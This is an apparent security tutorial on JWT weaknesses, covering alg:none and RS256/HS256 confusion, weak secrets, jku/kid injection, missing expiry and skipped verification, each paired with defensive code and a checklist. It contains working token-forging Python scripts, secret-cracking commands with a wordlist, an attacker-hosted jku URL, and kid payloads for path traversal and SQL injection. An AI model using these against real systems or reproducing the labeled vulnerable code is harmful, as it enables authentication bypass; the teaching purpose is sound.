JWT Security: Common Mistakes and How to Exploit Them
JSON Web Tokens (JWTs) power authentication for millions of applications. They're elegant in theory: a signed, self-contained token that proves identity without database lookups. In practice, JWT implementations are riddled with security holes.
Auth0 documented JWT vulnerabilities affecting major libraries. The algorithm confusion attack (CVE-2015-9235) still compromises applications in 2025. This guide covers how attackers exploit JWTs and how to defend against them.
JWT Structure Basics
A JWT consists of three Base64URL-encoded parts:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
[Header].[Payload].[Signature]Header:
{
"alg": "HS256",
"typ": "JWT"
}Payload:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}Signature:
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)Vulnerability 1: Algorithm Confusion (alg: none)
The most famous JWT vulnerability allows attackers to remove signature verification entirely:
The Attack
// Original JWT header
{ "alg": "HS256", "typ": "JWT" }
// Attacker modifies to
{ "alg": "none", "typ": "JWT" }
// Attacker modifies payload
{ "sub": "admin", "role": "admin" }
// Creates unsigned token (no signature part)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.Why It Works
Vulnerable libraries check the algorithm from the token itself:
// VULNERABLE - Reads algorithm from token
function verifyToken(token, secret) {
const [headerB64, payloadB64, signature] = token.split('.');
const header = JSON.parse(base64UrlDecode(headerB64));
if (header.alg === 'none') {
// No signature required!
return JSON.parse(base64UrlDecode(payloadB64));
}
// Verify signature for other algorithms...
}Exploitation Script
import base64
import json
def create_none_token(payload):
header = {"alg": "none", "typ": "JWT"}
header_b64 = base64.urlsafe_b64encode(
json.dumps(header).encode()
).rstrip(b'=').decode()
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).rstrip(b'=').decode()
# Empty signature
return f"{header_b64}.{payload_b64}."
# Create admin token
malicious_token = create_none_token({
"sub": "admin",
"role": "admin",
"iat": 1699999999
})
print(malicious_token)Vulnerability 2: Algorithm Confusion (RS256 → HS256)
A more sophisticated attack swaps asymmetric for symmetric algorithms:
Background
- RS256: Asymmetric. Server signs with private key, verifies with public key
- HS256: Symmetric. Server signs AND verifies with the same secret
The Attack
If the server uses RS256 but accepts HS256:
- Attacker obtains the server's public key (often exposed at /jwks.json)
- Attacker creates a new token with alg: HS256
- Attacker signs it using the public key as the HMAC secret
- Server verifies using its public key (now as HMAC secret)
- Signature matches! Token accepted.
Exploitation
import jwt
# Server's public RSA key (typically available at /.well-known/jwks.json)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
# Create malicious payload
payload = {
"sub": "admin",
"role": "admin"
}
# Sign with HS256 using the public key as secret
malicious_token = jwt.encode(
payload,
public_key,
algorithm="HS256"
)
print(malicious_token)Defense
// SAFE - Explicitly specify allowed algorithms
const payload = jwt.verify(token, publicKey, {
algorithms: ['RS256'] // Only allow RS256
});Vulnerability 3: Weak Secret Keys
Many applications use weak, guessable secrets:
// Common weak secrets found in the wild
const weakSecrets = [
'secret',
'password',
'jwt_secret',
'your-256-bit-secret',
'supersecret',
'changeme',
process.env.JWT_SECRET, // Empty if not set!
];Cracking JWT Secrets
# Using hashcat
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# Using jwt_tool
python3 jwt_tool.py eyJ... -C -d wordlist.txt
# Using John the Ripper
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256Wordlist for JWT Secrets
secret
password
123456
jwt_secret
your-256-bit-secret
supersecret
changeme
development
production
test
adminDefense: Strong Secrets
// Generate cryptographically secure secrets
import crypto from 'crypto';
// 256 bits minimum for HS256
const secret = crypto.randomBytes(32).toString('hex');
// Result: "a1b2c3d4e5f6...64 hex characters"
// Store in environment, never in code
process.env.JWT_SECRET = secret;Vulnerability 4: Missing Expiration
Tokens without expiration never become invalid:
// VULNERABLE - No expiration
const token = jwt.sign(
{ userId: 123, role: 'admin' },
secret
);
// This token is valid forever!Exploitation
- Attacker steals a valid token (XSS, man-in-the-middle, etc.)
- Token works indefinitely—even after password change
- No way to revoke access short of changing the secret (invalidates ALL tokens)
Defense: Short-Lived Tokens
// Access token - short lived
const accessToken = jwt.sign(
{ userId: 123, type: 'access' },
secret,
{ expiresIn: '15m' } // 15 minutes
);
// Refresh token - longer lived, stored securely
const refreshToken = jwt.sign(
{ userId: 123, type: 'refresh' },
refreshSecret,
{ expiresIn: '7d' }
);
// Verification must check expiration
const payload = jwt.verify(token, secret);
// Throws TokenExpiredError if expiredVulnerability 5: JKU/X5U Header Injection
Some JWT implementations fetch public keys from URLs specified in the token:
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/.well-known/jwks.json"
}The Attack
- Attacker generates their own RSA key pair
- Hosts the public key at attacker.com/jwks.json
- Creates JWT with jku pointing to their server
- Signs with their private key
- Server fetches "trusted" key from attacker's URL
- Signature validates!
Defense
// SAFE - Allowlist JKU sources
const ALLOWED_JKU_HOSTS = ['auth.yourcompany.com'];
function verifyToken(token) {
const header = decodeHeader(token);
if (header.jku) {
const jkuUrl = new URL(header.jku);
if (!ALLOWED_JKU_HOSTS.includes(jkuUrl.hostname)) {
throw new Error('Untrusted JKU source');
}
}
// Continue verification...
}
// BETTER - Don't use JKU at all
const payload = jwt.verify(token, publicKey, {
algorithms: ['RS256'],
// No JKU, key provided directly
});Vulnerability 6: Kid Injection
The "kid" (Key ID) header identifies which key to use. If it's used in file paths or database queries:
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../../../etc/passwd"
}SQL Injection via kid
{
"alg": "HS256",
"typ": "JWT",
"kid": "' UNION SELECT 'known-secret' --"
}Defense
// VULNERABLE
function getKey(kid) {
return db.query(`SELECT key FROM keys WHERE id = '${kid}'`);
}
// SAFE - Parameterized query
async function getKey(kid) {
const result = await db.query(
'SELECT key FROM keys WHERE id = $1',
[kid]
);
return result.rows[0]?.key;
}
// SAFE - Map to known keys
const KEYS = {
'key-1': process.env.JWT_KEY_1,
'key-2': process.env.JWT_KEY_2,
};
function getKey(kid) {
const key = KEYS[kid];
if (!key) throw new Error('Unknown key ID');
return key;
}Vulnerability 7: Signature Not Verified
Sometimes verification is just... skipped:
// VULNERABLE - Decode without verify
app.get('/api/profile', (req, res) => {
const token = req.headers.authorization?.split(' ')[1];
// jwt.decode() does NOT verify the signature!
const payload = jwt.decode(token);
const user = await db.findUser(payload.userId);
res.json(user);
});Defense
// SAFE - Always use verify()
app.get('/api/profile', (req, res) => {
const token = req.headers.authorization?.split(' ')[1];
try {
// verify() validates signature AND expiration
const payload = jwt.verify(token, secret, {
algorithms: ['HS256']
});
const user = await db.findUser(payload.userId);
res.json(user);
} catch (error) {
res.status(401).json({ error: 'Invalid token' });
}
});Vulnerability 8: Sensitive Data in Payload
JWTs are encoded, not encrypted. Anyone can read the payload:
// VULNERABLE - Sensitive data in JWT
const token = jwt.sign({
userId: 123,
email: 'user@example.com',
ssn: '123-45-6789', // Exposed!
creditCard: '4111...', // Exposed!
internalRole: 'db_admin' // Information disclosure
}, secret);Decode Without Verification
# Anyone can decode a JWT
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZW1haWwiOiJ1c2VyQGV4YW1wbGUuY29tIn0.xxx" | cut -d. -f2 | base64 -d
# Result: {"userId":123,"email":"user@example.com"}Defense
// SAFE - Minimal payload
const token = jwt.sign({
sub: userId, // Only the subject (user ID)
iat: Date.now(), // Issued at
exp: Date.now() + 900000 // Expiration
}, secret);
// Fetch sensitive data from database when needed
app.get('/api/profile', async (req, res) => {
const payload = jwt.verify(token, secret);
const user = await db.findUser(payload.sub);
res.json(user); // Controlled data exposure
});Secure JWT Implementation
Complete Example
import jwt from 'jsonwebtoken';
import crypto from 'crypto';
// Strong secret (minimum 256 bits)
const ACCESS_SECRET = process.env.JWT_ACCESS_SECRET;
const REFRESH_SECRET = process.env.JWT_REFRESH_SECRET;
// Ensure secrets are set
if (!ACCESS_SECRET || ACCESS_SECRET.length < 32) {
throw new Error('JWT_ACCESS_SECRET must be at least 32 characters');
}
// Token generation
function generateTokens(userId) {
const accessToken = jwt.sign(
{ sub: userId, type: 'access' },
ACCESS_SECRET,
{
algorithm: 'HS256',
expiresIn: '15m',
issuer: 'your-app',
audience: 'your-app-users'
}
);
const refreshToken = jwt.sign(
{ sub: userId, type: 'refresh', jti: crypto.randomUUID() },
REFRESH_SECRET,
{
algorithm: 'HS256',
expiresIn: '7d',
issuer: 'your-app'
}
);
return { accessToken, refreshToken };
}
// Token verification
function verifyAccessToken(token) {
return jwt.verify(token, ACCESS_SECRET, {
algorithms: ['HS256'], // Explicit algorithm
issuer: 'your-app',
audience: 'your-app-users',
complete: false // Return payload only
});
}
// Middleware
function authMiddleware(req, res, next) {
const authHeader = req.headers.authorization;
if (!authHeader?.startsWith('Bearer ')) {
return res.status(401).json({ error: 'No token provided' });
}
const token = authHeader.slice(7);
try {
const payload = verifyAccessToken(token);
req.userId = payload.sub;
next();
} catch (error) {
if (error.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Token expired' });
}
return res.status(401).json({ error: 'Invalid token' });
}
}Testing JWT Security
Manual Testing
# Decode token (no verification)
echo $TOKEN | cut -d. -f2 | base64 -d | jq
# Test alg:none
jwt_tool $TOKEN -X a
# Test RS256/HS256 confusion
jwt_tool $TOKEN -X k -pk public.pem
# Crack weak secret
hashcat -a 0 -m 16500 jwt.txt rockyou.txtjwt_tool Commands
# Full test suite
jwt_tool $TOKEN -M at
# Tamper with payload
jwt_tool $TOKEN -T
# Exploit null signature
jwt_tool $TOKEN -X n
# Generate with known key
jwt_tool $TOKEN -S hs256 -p "weak-secret"JWT Security Checklist
Algorithm Security
- [ ] Explicitly specify allowed algorithms in verify()
- [ ] Never accept 'none' algorithm
- [ ] Use asymmetric algorithms (RS256/ES256) for distributed systems
Secret Management
- [ ] Use cryptographically random secrets (32+ bytes)
- [ ] Store secrets in environment variables
- [ ] Rotate secrets periodically
- [ ] Use different secrets for access/refresh tokens
Token Configuration
- [ ] Set short expiration for access tokens (15min)
- [ ] Include issuer (iss) and audience (aud) claims
- [ ] Use unique ID (jti) for refresh tokens
- [ ] Don't store sensitive data in payload
Verification
- [ ] Always use verify(), never just decode()
- [ ] Validate all claims (exp, iss, aud)
- [ ] Allowlist JKU/X5U sources or disable them
- [ ] Sanitize kid parameter
Token Management
- [ ] Implement token refresh flow
- [ ] Store refresh tokens securely (httpOnly cookies)
- [ ] Implement token revocation for logout
- [ ] Invalidate tokens on password change
Practice JWT Attacks
Understanding JWT vulnerabilities from the attacker's perspective helps you build secure authentication. Try our authentication challenges to practice these techniques in a safe environment.
---
JWT security evolves with library updates. This guide will be updated as new vulnerabilities emerge. Last updated: December 2025.
Stay ahead of vulnerabilities
Weekly security insights, new challenges, and practical tips. No spam.
Unsubscribe anytime. No spam, ever.